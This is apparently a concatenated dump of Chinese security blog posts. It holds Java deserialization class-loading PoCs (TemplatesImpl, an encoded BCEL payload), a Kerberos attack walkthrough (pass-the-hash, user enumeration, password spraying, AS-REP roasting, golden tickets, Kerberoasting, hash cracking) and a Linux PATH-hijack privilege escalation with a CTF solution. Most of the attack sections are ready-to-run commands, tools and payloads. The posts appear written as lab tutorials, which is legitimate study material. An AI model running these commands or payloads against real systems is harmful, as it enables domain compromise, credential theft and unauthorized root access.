AbstractTranslet 所以需要重写 AbstractTranslet的方法 为什么需要继承,后面CC链里会详细分析 1234567891011121314151617181920212223242526import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class templatesImpl_evil extends AbstractTranslet { @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }} poc如下: 12345678910111213141516171819202122import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class TemplateRce { public static void main(String[] args) throws Exception{ byte[] code = Files.readAllBytes(Paths.get("C:\\\\Users\\\\lenovo\\\\Desktop\\\\templatesImpl_evil.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Calc"); setFieldValue(templates, "_bytecodes", new byte[][] {code}); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); templates.newTransformer(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); ((Field) field).set(obj, value); }} (7)BCEL ClassLoader 加载字节码BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。 我们可以通过 BCEL 提供的两个类 Repository 和 Utility 来利用: Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译java 文件生成字节码 Utility 用于将原生的字节码转换成BCEL格式的字节码: 12345678910111213141516package org.example;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import java.io.IOException;public class BCELClassLoaderRCE { public static void main(String[] args) throws ClassNotFoundException, IOException { Class<?> cls = Class.forName("org.example.evil"); JavaClass javaClass = Repository.lookupClass(cls); String code = Utility.encode(javaClass.getBytes(), true); System.out.println(code); }} 这一堆特殊的代码,BCEL ClassLoader 正是用于加载这串特殊的“字节码”,并可以执行其中的代码。我们修改一下 POC注:这里ClassLoader包不要导入错了 应为 com.sun.org.apache.bcel.internal.util.ClassLoader 123456789101112131415161718package org.example;import com.sun.org.apache.bcel.internal.util.ClassLoader;import java.io.IOException;public class BCELClassLoaderRCE { public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException { Class<?> cls = new ClassLoader().loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$AmQMo$da$40$Q$7d$L$Ecc$C$n$F$f2$d1$7c$d06$J$f4P$lz$E$f5R5R$U$t$a9BD$d5$e3$b2$dd$9aM$8d$8d$8c$a1$fc$a3$9e$b9$b4U$x5$f7$fc$a8$aa$b3$$$o$u$89$r$cf$ec$bc$f7$e6$cdx$7d$fb$f7$d7$l$A$af$d1$b0$60b$c3$c2$s$b6r$d8$d6$f9$a9$81$j$D$bb$W$b2$d83$b0o$a0$ce$90m$ab$40$c5o$Y$d2$8df$97$n$f36$fc$q$Z$8a$ae$K$e4$f9x$d0$93$d1$V$ef$f9$84$94$ddPp$bf$cb$p$a5$eb9$98$89$fbj$94p$91$e7$c8$v$l$M$7d$e9$c8$89$f2$5b$M$b9$b6$f0$e7$d6$8c$a4$V$f7$9aO$b8$a3B$e7$e4$e2$ddT$c8a$ac$c2$80d$85N$cc$c5$973$3eL$yiA$G$ab$T$8e$p$n$8f$95$kaj$bbW$ba$d7$86$85$bc$81g6$9e$e3$F$cd$a6u$84$8d$D$i2$ac$3f$e2$cd$b0$95$a0$3e$P$3c$e7r$i$c4j$m$X$a4$f6$3ab$u$dd$df$9b$a0$bb$a6$8b$de$b5$U1$c3$da$D$l$da$d1$93$f1$a2$a84$9a$ee$D$N$7d$5bFN$a5$608j$y$b1$9d8R$81$d7Znx$l$85B$8eF$d4$b0$b1$ac$bc$eaG$e1W$7d$v$adf$Xu$e4$e8o$ea$t$F$a6$_$82$a2M$95C$99Q$5ey$f9$Dl$96$d0$F$8a$d9$ff$mV$v$da$f3s$R$r$ca9$ac$z$9a$3f$p$9dp$b5$9fH$95$d3$df$91$f9$f0$N$85$d3$df$c8$7e$q7$e3f$96$90$sIWH$a8m$abtB$b2I$9eP$930$8b0$7b1$a6$40X$Z$ebT$3d$a1$d7$40$ca5P1$89$a8$s$9b$d5$fe$By$9aqE$9c$C$A$A"); cls.newInstance(); /* Class<?> cls = Class.forName("org.example.evil"); JavaClass javaClass = Repository.lookupClass(cls); String code = Utility.encode(javaClass.getBytes(), true); System.out.println(code); */ }} 那么为什么要在前面加上 $$BCEL$$ 呢 BCEL 这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()方法。 在 ClassLoader#loadClass() 中,其会判断类名是否是 $$BCEL$$ 开头,如果是的话,将会对这个字符串进行 decode 这么多种姿势,实际上都是为了去加载那个 .class文件 也就是字节码文件 从而利用。 参考:https://drun1baby.top/2022/06/03/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-05-%E7%B1%BB%E7%9A%84%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD/#7-%E5%88%A9%E7%94%A8-BCEL-ClassLoader-%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81","link":"/2023/06/06/Java%E5%9F%BA%E7%A1%80%E7%AF%87-%E7%B1%BB%E5%8A%A0%E8%BD%BD%E6%9C%BA%E5%88%B6/"},{"title":"Kerberos协议漏洞攻击","text":"上文详细介绍了 Kerberos协议内容、认证过程、数据包分析以及存在的安全问题,本文详细演示一下 Kerberos认证过程中,AS_REQ、AS_REP、TGS_REP阶段的各种攻击方式。以及一些工具使用 例如:kerbrute、pyKerbrute AS_REQ&ASREP阶段攻击<1> PTH 哈希传递攻击在内网渗透中,我们经常需要抓取管理员密码、NTLM Hash通过搜集这些信息有助于我们扩大战果、尤其是在域环境下。 什么是哈希传递? 哈希传递是能够在不需要账号明文密码的情况下完成认证的一个技术。 比如NTLM Hash、LM Hash都不需要明文密码因此都可以被称为Hash传递攻击。 哈希传递的作用 解决渗透中获取不到明文密码,破解不了NTLM Hash的MD4算法而又想扩大战果的问题。 Pass The Hash 必要条件 哈希传递需要被认证的主机能够访问服务器 哈希传递需要被传递认证的用户名 哈希传递需要传递的认证用户的NTLM Hash 在AS-REQ阶段,数据包中加密的Authenticator字段是用用户密码Hash进行加密的,所以也可进行hash传递 msf的 exploit/windows/smb/psexec模块 攻击 用户名:administrator LM\\NTLM Hash:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab mimikatz 进行PTH攻击 1sekurlsa::pth /user:administrator /domain:192.168.16.20 /ntlm:570a9a65db8fba761c1008a51d4c95ab <2> 域内用户枚举域内用户枚举,即爆破一下域内的账户名 注:Kerberos pre-auth对应的端口默认为88 DC要开启kerberos 88端口 用到了 kerbrute工具,下载地址:https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe 这里需要我们提前准备好一个 用户字典 123456adminblack1vxyzlucymiketest 1kerbrute_windows_amd64.exe userenum --dc 192.168.16.10 -d hack.com user.txt 可知:1vxyz用户是存在的 kerbrute进行错误枚举的原理就是kerberos有这样四种错误代码: KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用) KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用) KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在) KDC_ERR_PREAUTH_FAILED (用户存在但密码错误) 抓包分析,根据报错可以看出来有4个UNKNOWN,1个REQUIRED 那个REQUIRED的 即为真正存在的用户 注:如果某个用户勾选了 Kerberos预身份验证,则判断不出来,这个在后面AS-REP roasting攻击会讲到 <3> 密码喷洒攻击(用户密码枚举)密码喷洒,即我们已知一些域内的用户名,在AS-REQ阶段,AS会根据请求包中密码正确与错误的返回包的不同,爆破用户密码的一种攻击方式 (1) kerbrute进行密码喷洒12kerbrute_windows_amd64.exe passwordspray --dc 192.168.16.10 -d hack.com user.txt 1qaz@WSX # 适用于存在用户账户锁定策略kerbrute_windows_amd64.exe bruteuser --dc 192.168.16.10 -d hack.com password.txt administrator 原理 同域内用户枚举 这个工具 有一个以用户名当成密码进行爆破的选项,然后就是单个明文密码 不能通过ntlm hash (2) pyKerbrute工具进行密码喷洒pyKeybrute是一款使用Python编写的域内用户枚举和密码喷洒工具,可以通过UDP和TCP两种模式进行工作。密码喷洒可以使用明文密码或密码hash 下载地址:https://github.com/3gstudent/pyKerbrute 用法: 1234python2 ADPwdSpray.py 192.168.16.10 hack.com user.txt clearpassword Admin@123 tcppython2 ADPwdSpray.py 192.168.16.10 hack.com user.txt clearpassword Admin@123 udppython2 ADPwdSpray.py 192.168.16.10 hack.com user.txt ntlmhash 570a9a65db8fba761c1008a51d4c95ab tcppython2 ADPwdSpray.py 192.168.16.10 hack.com user.txt ntlmhash 570a9a65db8fba761c1008a51d4c95ab tcp 注:如果下载下来报错 把文件里的from Crypto.Cipher import MD4,MD5 改为from Crypto.Hash import MD4,MD5 也可以通过 kali内置的一些工具,比如:CrackMapExec、hydra等等进行爆破,他们主要针对smb协议 严格来说不算密码喷洒 有hash碰撞的意思 <4> AS-REP Roasting攻击(1) Roasting攻击简介AS-REP Roasting攻击是一种对用户账号进行离线爆破的攻击方式,是管理员的错误配置导致的。管理员在DC上 用户账户策略勾选了 不要求Kerberos预身份验证 AS_REP Roasting攻击的首要条件: 勾选了默认不需要Kerberos预身份验证 什么叫预身份认证呢? 我们没有勾选的情况下,通过kekeo申请票据,这里我们输入正确的账号密码才有 AS-REP数据 打上勾之后,在AS-REQ阶段,只需要发个用户名即可不需要发送密码 也会有AS-REP数据 在AS-REP阶段,数据包中最外层的enc-part是用户密码hash加密的 原理: 不需要Kerberos的域身份认证,AS_REP过程中可任意伪造用户名请求票据。通过爆破 enc-part得到获得用户hash,拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式,接下来可以通过hashcat对其破解,最终获得明文密码,构成了 AS-REP Roasting攻击 主要攻击手段还是黄金票据攻击 (2) 获取勾选不需要预认证用户列表使用Empire下的 powerview.ps1 查找域中设置了”不需要kerberos预认证”的用户 这个是针对域用户可用的脚本,因为这个脚本是采用ldap协议向域控去查 123Import-Module .\\powerview.ps1Get-DomainUser -PreauthNotRequiredGet-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose (3) 获取AS-REP的enc-part对域内的主机,如果想知道某用户的hash加密的enc-part值,可以使用相关工具,通过 LDAP协议查询用户,列出相关的part值 利用Rubeus工具 进行asreproast攻击获取enc-partRubeus工具是Harmj0y 用C#开发的针对Kerberos协议进行攻击的工具。它可以发起Kerberos请求,比如TGT请求、ST请求,也可用于 AS-REP Roasting攻击、Kerberosasting攻击、委派攻击、黄金票据、白银票据等等 Rubeus工具需要 .NET framework环境支持 在线一键安装即可 用法: 12345# 会得到用户账户的hash值Rubeus.exe asreproast# 会将提取到的hash值存储到一个txt文件中,存储格式是John这款工具可以破解的格式Rubeus.exe asreproast /format:john /outfile:user.txt 成功抓到了两个未开启预认证的用户 zhangsan、lisi的enc-part值 利用ASREPRoast.ps1获取AS-REP返回的hash123456# 将脚本导入到powershellImport-Module .\\ASREPRoast.ps1# 提取到用户hashInvoke-ASREPRoast | select -ExpandProperty Hash# 会将提取到的hash值存储到一个txt文件中Invoke-ASREPRoast | select -ExpandProperty Hash > hash.txt 利用 Impacket套件中的 GetNPUsers.py获取 AS-REP返回的hash此方法不一定非要在域内主机上 1python GetNPUsers.py -dc-ip 192.168.16.10 -usersfile user.txt -format john -outputfile hash.txt hack.com (4) 破解获得的 enc-part hash值因为该值是使用用户的 NTLM-HASH 进行加密的,因此可以进行暴力破解 john工具用法: 1john -wordlist=字典路径 hash值 成功恢复出 zhangsan的密码:1qaz@WSX hashcat工具破解因为我们前面获取到的hash是根据 john的模式生成的,因此我们使用hashcat爆破的话还需要改成hashcat规定的格式。 或者换一种模式 再生成一下hash 网站上给的 example里 需要多一个 $23 1hashcat -m 18200 hash.txt rockyou.txt --force <5> 黄金票据(1) 黄金票据介绍在 AS-REP 阶段,AS成功认证Client 的身份之后,会发送 TGT 给客户端。其中主要包括: krbtgt用户的NTLM Hash加密后的TGT认购权证(即ticket这部分) 用户NTLM Hash加密的AS Session key(即数据包中最外层 enc-part 部分) 以及一些其他信息。AS Session Key的作用是用于确保客户端和KDC下阶段之间通信安全。最后TGT认购权证、加密的Lgoin Session Key、时间戳 和 PAC 等信息会发送给客户端 因此 AS-REP中最核心的东西就是 AS session-key 和 krbtgt用户的NTLM Hash加密的ticket 黄金票据的原理: 由于返回的 TGT 认购权证是由 krbtgt 用户的密码Hash加密的,因此如果我们拥有 krbtgt 的 hash 就可以自己制作一个TGT认购权证,这就造成了黄金票据攻击 黄金票据的作用: 可以用来权限维持 可以用来横向移动 黄金票据的必要条件 已知要伪造的域用户(一般写域管理员用户) 域名 域的SID值(就是域成员SID值去掉最后的那个数) krbtgt 账号的 NTLM hash值 或 AES-256值 正常我们用工具生成的凭据是 .ccache 和 .kirbi 后缀的,用mimikatz,kekeo,rubeus生成的凭据是以 .kirbi 后缀的,impacket 生成的凭据的后缀是 .ccache 。两种票据主要包含的都是AS session-key 和 加密的 Ticket,因此可以相互转化 注:跨域下的黄金票据有一定限制,但利用SidHistory即可解决,因为现实中跨域的攻击情况较少 (2) mimikatz 生成黄金票据首先,在DC上用mimikatz获取 krbtgt hash: 1mimikatz.exe "Log" "lsadump::dcsync /domain:hack.com /user:krbtgt" "exit" 得到信息: SID:S-1-5-21-3007078554-120081946-2522169796 (不算后面-502那部分) NTLM hash:3f9de95a61107e30012e7bb2d9bdcd86 aes256:de44975a42471227518592e7946202ae2a7eb5f98a08d7323e5d0087c7254669 域名:hack.com 得到 krbtgt 的hash后,去Win2008域成员机器上 再利用mimikatz生成黄金票据 krbtgt NTLM hash生成 1mimikatz "kerberos::golden /user:Administrator /domain:hack.com /sid:S-1-5-21-3007078554-120081946-2522169796 /krbtgt:3f9de95a61107e30012e7bb2d9bdcd86 /ticket:golden.kirbi" aes256 key生成 1mimikatz "kerberos::golden /user:administrator /domain:hack.com /sid:S-1-5-21-3007078554-120081946-2522169796 /aes256:de44975a42471227518592e7946202ae2a7eb5f98a08d7323e5d0087c7254669 /ticket:golden.kirbi" 导入Golden Ticket: 1mimikatz # kerberos::ptt golden.kirbi 查看本地缓存,发现凭据成功导入 1mimikatz # Kerberos::list 导入金票之后,再次访问域控 成功访问 (3) impacket生成黄金票据首先去 github上下载源码,下载地址:https://github.com/fortra/impacket 然后解压缩,进入impacket 12345cd impacket# 安装环境所需依赖,一键配置python setup.py install# 工具都在这个目录里 impacket/examplescd impacket/examples impacket 包里的 ticketer.py 生成票据 用法: 123456Examples: ./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4. If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256 (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as baduser.ccache. 已知信息: SID:S-1-5-21-3007078554-120081946-2522169796 NTLM hash:3f9de95a61107e30012e7bb2d9bdcd86 aes256:de44975a42471227518592e7946202ae2a7eb5f98a08d7323e5d0087c7254669 1python3 ticketer.py -domain-sid S-1-5-21-3007078554-120081946-2522169796 -nthash 3f9de95a61107e30012e7bb2d9bdcd86 -domain hack.com administrator 得到 administrator.ccache 导入票据,export配置linux主机环境变量,再利用impacket的smbexec获取shell: 123export KRB5CCNAME=administrator.ccachepython3 smbexec.py -no-pass -k DC.hack.com 出现拒绝连接、kali 不在域内,我们需要把dns改向域控 也可以用mimikatz导入 1kerberos::ptc administrator.ccache 这个金票主要常用于 拿到票据,防止域管改密码了,自己去生成一个域管账户 权限维持时用的 TGS_REP阶段攻击<1> Kerberoasting攻击(1) Kerberoasting原理Kerberoasting 是域渗透中经常使用的一项技术, 是Tim Medin 在 DerbyCon 2014 上发布的一种域口令攻击方法, Tim Medin 同时发布了配套的攻击工具 kerberoast。 这是发生在 TGS-REP阶段下的,我们再来回顾一下 TGS-REP阶段 Client和 KDC 的通信 这一阶段, KDC 收到 Client 凭借TGT 针对所需要访问的服务 发送的TGS_REQ请求后 首先会检查自身是否存在客户端所请求的服务(就是查询SPN) 如果服务存在, 则通过 krbtgt 用户的NTLM Hash 解密TGT并得到 AS_Session Key 解密成功后使用 AS_Session Key 解密 TGT 第一部分加密内容, 然后检查里面数据 检查成功后,返回ST票据,并带上PAC 注:无论用户有没有访问服务的权限,只要TGT正确无误,就可以请求域内任何一个服务的 ST,TGS都会给他返回ST票据 返回包包含两部分信息: 一部分是 使用 AS_Session Key 进行加密的 时间戳、ST有效时间 和 随机密钥TGS_Session Key 另一部分则是 使用Server hash(服务的NTLM hash) 进行加密的 时间戳、Client Name、Client IP、Server IP、ST有效时间、TGS_Session key的ST票据 。发送ST 的数据包是TGS-REP(TGS-response) Kerberoast攻击 主要利用了 TGS_REP 的过程中用户将会收到由目标服务实例的NTLM hash 加密的加密数据,对于域内任何主机,都可以通过查询SPN,向域内所有服务请求 ST(因为KDC不会验证它是否具有访问服务的权限),然后进行暴力破解,但是 这里只要域用户的SPN是可以利用的 (因为机器账户的SPN每30天会随机更改随机128个字符的密码导致无法破解),所以 实际过程中要注意攻击的是域用户。当然如果该SPN没有注册在域用户下,可以尝试进行注册然后再利用hashcat破解即可 Kerberoast攻击过程: 攻击者使用他们的 TGT认购权证 请求ST服务票据,获取特定形式(name/host)的 servicePrincipalName (SPN) 例如:MSSqlSvc/SQL.hack.com 此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册,在请求过程中(TGS-REQ),攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等) 如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证中提取信息并填充到ST服务票据中。然后,域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者 攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码 Kerberoasting原理就在于 KDC返回的 ST票据的加密方式没有强制采用aes256, 可以使用RC4_HMAC_MD5加密算法,攻击者可以比较简单地进行爆破 在TGS认证TGT的时候, 不管提供的用户是否具有访问目标服务的权限都会返回目标服务的ST KDC在收到TGT后,首先会检查自身是否存在客户端所请求的服务(即查询SPN) 那么 什么是SPN呢? 以及 什么叫做 服务的NTLM hash? NTLM hash不是用户的密码hash吗? (2) 服务主体名SPN介绍服务主体名称 SPN(Server principal Name), 是服务实例(可以理解为一个服务, 比如 HTTP、MSSQL) 的唯一标识符。 Kerberos 身份验证使用SPN将服务实例与服务帐户相关联。 如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。在域中如果有多个服务, 每个服务必须有自己的SPN和用户, 一个用户可以有多个SPN, 但是SPN只能对应一个用户, SPN必须注册到用户下 在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerberoasting攻击的第一步 Client-TGS 通信阶段SPN的作用: 当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控ldap查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中TGS对TGT进行解密。确认无误后,由TGS 将一张允许访问该SPN所对应的服务的ST服务票据(使用对应的SPN用户 hash进行加密)和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问 SPN格式: SPN的格式: <serviceclass>/<host>:<port>/<service name> SPN 的语法中存在四种元素, 两个必要元素和非必要两个元素, 其中<service class>和<host>为必须元素 <port>/<service name>是非必要 必要: Service class:服务类 (HOST) Host:服务所在的主机名字 比如MSSQLSvc/SQL.abc.com SPN分为两种类型: 注册在活动目录的机器账户下 (机器账户的明文密码一班破不了,后续白银票据是攻击此情况) 电脑加入域之后,机器用户会同步到域控(主机名$)。当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。域中的每个机器都会有注册两个SPN:HOST/主机名和 HOST/主机名.域名 注册在活动目录的域用户帐户(Users)下 ( Kerberoasting 攻击的是域用户的口令,此情况下) SPN可以注册在域中的用户, 默认只有机器用户或者域管理员用户才有权限去注册SPN,域中的普通用户如果要注册需要修改权限(一般默认的一些工具软件会注册到机器用户下) 查询SPN: 1setspn -Q */* 查看指定域 注册的SPN 12setspn -T hack.com -Q */*# 如果指定域不存在,则默认切换到查找本域的SPN 查找本域内重复的SPN: 1setspn -X 查找指定用户/主机名注册的SPN: 1setspn -L username/hostname (3) 域内SPN探测(SPN发现)在控制了一台内网主机的时候, 我们可以探测域中注册的SPN,原理上还是使用LDAP协议进行查询 如果当前电脑加入了域,并且使用域用户进行登录。(没有加入域的话,则需要提权到SYSTEM 然后再对域内访问) setspn命令12setspn -Q */*setspn -T 域名 -Q */* PowerView12Import-Module .\\PowerView.ps1Get-NetUser -SPN 对于非域内的主机,也可以通过 adfind、Impacket,但是必要提供一个域中的账号密码,没有办法通过 kerberos协议,自己写脚本也不行 Adfind探测123456789# 域内主机Adfind.exe -b "dc=hack,dc=com" -f "&(servicePrincipalName=*)"servicePrincipalName# 非域内主机Adfind.exe -h 192.168.16.10:389 -u hack\\1vxyz -up password -f "&(servicePrincipalName=*)" servicePrincipalName# 查询高权限用户的SPNAdfind.exe -h 192.168.16.10:389 -u hack\\1vxyz -up password -f "&(servicePrincipalName=*)(admincount=1)" servicePrincipalName (4) 请求SPN服务票据我们为什么要获取SPN? 就是想用来破解SPN对应账户的密码 这里又分为两种情况:SPN的可以注册在机器用户下和域用户下 机器用户下(机器账户的SPN每30天会随机更改随机128个字符的密码,无法破解) 域用户下(SPN可以注册在任何的域用户下, 所以需要查询高权限的域用户下的SPN) 过滤出来的SPN之后我们就要针对这些用户进行ST的申请, 正常申请ST进行破解密码这个是kerberoasting, 如果是伪造ST那就是白银票据了 利用Impacket中的GetUserSPNS.py请求该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破 加上 -outputfile可输出到文件中 1python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 hack.com/1vxyz Rubeus请求 STRubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用hashcat 或 john 爆破的Hash。 12345# 请求注册于用户下的所有SPN的服务票据,以john破解的格式 输出到 hash.txt中rubeus.exe kerberoast /format:john /outfile:hash.txt#请求注册于用户下的指定SPN的服务票据,以john破解的格式 输出到 hash.txt中rubeus.exe kerberoast /spn:HTTP/WIN2008.hack.com/1vxyz /format:john /outfile:hash.txt mimikatz请求 ST123456#请求指定SPN的服务票据 存放在内存中 kerberos::ask /target:HTTP/WIN2008.hack.com# 查看票据kerberos::list# 导出票据kerberos::list /export (5) 导出票据查看票据12klistmimikatz.exe "kerberos::list" MSF里查看票据 1234load kiwikerberos_ticket_listkiwi_cmd kerberos::list mimikatz导出票据1mimikatz.exe "kerberos::list /export" "exit" 执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件 Empire下的Invoke-Kerberoast.ps1导出票据12Import-Module .\\Invoke-Kerberoast.ps1Invoke-Kerberoast -outputFormat Hashcat (6) 离线破解ST票据HASH得到的ST 由于工具不同,得到的格式也不同 有 Kirbi 也有 hash格式的。因此破解时使用的工具也会不同 tgsrepcrack.py破解1python2 tgsrepcrack.py rockyou.txt 1-40a10000-1vxyz@WEB~WIN2008.hack.com-HACK.COM.kirbi Hashcat破解1hashcat -m 13100 hash.txt rockyou.txt --force 攻击步骤大致为: powerview.ps获取SPN -> impacket/rebues.exe/mimikatz获取服务票据 -> mimikatz导出、empire导出票据 -> hashcat爆破密码 <2> 白银票据这些攻击方式理解起来比较容易混淆,简单来区分的话,可以这样解释: AS-REP Roasting:获取用户hash然后离线暴力破解 Kerberoasting:SPN注册在域用户的情况下,获取服务的 server-hash 然后暴力破解,从而获取域用户密码 黄金票据:通过假冒域中不存在的用户来访问应用服务","link":"/2023/10/06/Kerberos%E5%8D%8F%E8%AE%AE%E6%BC%8F%E6%B4%9E%E6%94%BB%E5%87%BB/"},{"title":"Linux-环境变量提权","text":"<1> 环境变量介绍$PATH是Linux和类Unix操作系统中的环境变量,它指定了存储所有可执行程序的 bin 和 sbin 目录。当用户在终端运行任何命令时,它向shell发出请求,在环境变量的帮助下搜索可执行文件以响应用户执行的命令。超级用户root 通常还具有/sbin和/usr /sbin条目,以便轻松执行系统管理命令。 使用echo命令就能查看和当前用户相关的环境变量 12echo $PATH/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin <2> 环境变量提权原理其原理就是利用suid的权限调用所属主用户即root用户执行c里的代码 $PATH主要用于定义可执行程序的搜索目录。可执行程序包括 Linux系统命令和用户的应用程序 例如:当某个程序 调用 system(“cat /flag”) 时 它并不是以 system(“/bin/cat /flag”);这样来调用cat的 可以被利用 系统会按照$PATH环境变量中定义的顺序,从左到右搜索cat 如果$PATH = /tmp:/usr/local/bin:/usr/local/sbin 则会优先搜索 /tmp目录是否存在cat $PATH环境变量劫持的原理:即自己构造一个同名的恶意程序,将要恶意程序所在的路径添加到PATH环境变量的前面,使其被优先加载。 而如果我们劫持的这个程序,是一个本身就具有SUID权限,以root身份执行的程序,那么 劫持成功的话,就是root执行我们的恶意程序,写入 /bin/bash即可提权 <3> ubuntu环境配置现在我们的当前目录是/home/lvxyz,我们将在当前目录下创建一个srcipt目录。然后cd到script目录中,编写一个简单的c程序来调用系统二进制文件的函数 代码 通过 setuid() 和 setgid() 更改uid、gid为0 即 root 然后调用system()函数 执行 ps命令 即系统二进制文件/bin/ps 12root@lvxyz-ubuntu:~/script$ whereis psps: /bin/ps /usr/share/man/man1/ps.1.gz 我们使用gcc命令编译demo.c文件并且赋予编译文件SUID权限 123gcc demo.c -o demochmod u+s demols -la demo <4> Attack利用假设我们的ubuntu 是我们已经入侵成功的主机,ssh成功登录lvxyz普通用户了,现在要进行提权 我们利用find命令查找一下具有suid权限的文件 1find / -perm -u=s -type f 2>/dev/null 发现了 /home/lvxyz/script/demo 我们运行一下这个文件,发现它会执行 ps命令 (1) echo命令因此 我们就往/tmp写入 一个同名文件,内容为 /bin/bash 1234567cd /tmpecho "/bin/bash" > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/lvxyz/script./demo 发现成功提权为root (2) cp命令也可以通过 cp /bin/bash /tmp/ps,使得/tmp/ps文件等价于/bin/bash 与上面同理 成功提权root (3) symlink命令利用条件:suid权限的文件目录拥有所有权限 利用 symlink 符号链接命令 控制环境变量,最开头加上 . 从而控制环境变量 执行ps时优先找到 ./ps 即 /bin/bash 提权 其他命令同理,比如 c文件里写的 system(“cat /etc/passwd”) 我们只需重写一个 内容为/bin/sh的 cat,然后控制环境变量使得 某个suid权限的文件里在执行 cat命令时,优先找到我们重写的cat即可提权 关键在于: 找到具有SUID权限的文件,知道文件里调用了什么系统二进制文件 环境变量中有自己能控制的路径 <5> CTF应用 - nepctf 独步天下nc ip port进入环境 ls / 发现了flag 直接读取不行 没有权限 题目提示:环境变量提权 查找具有suid权限的文件:find / -perm -u=s -type f 找到了 /bin/nmap 且其拥有者为root 1-rwsr-xr-x 1 root root 931712 Jul 17 09:46 nmap 执行一下 发现 nmap里调用了 ports-alive 123/bin $ nmap 1nmap 1sh: ports-alive: not found 环境变量提权,在/tmp下创建一个名为 ports-alive 内容为 /bin/sh 脚本。export /tmp到$PATH里最左边。运行/bin/nmap 时劫持 ports-alive命令,从而以root身份执行/bin/sh 提权 12345cd /tmpecho "/bin/sh" > ports-alivechmod +x ports-aliveexport PATH=/tmp:$PATH/bin/nmap 1 参考:https://xz.aliyun.com/t/2767","link":"/2023/08/19/Linux-%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E6%8F%90%E6%9D%83/"},{"title":"Kerberos认证学习","text":"在域中,网络对象可以相互访问,但是在真实情况中,需要对某些部门的计算机进行限制,例如:销售部门不能访问技术部门的服务器。这个中间就需要 Kerberos认证协议来验证网络对象间的权限 网络对象分为:用户、用户组、计算机、域、组织单位以及安全策略等等 <1> Kerberos协议简介Kerberos 是一种网络身份认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的 Kerberos 主要是用在域环境下的身份认证协议 <2> 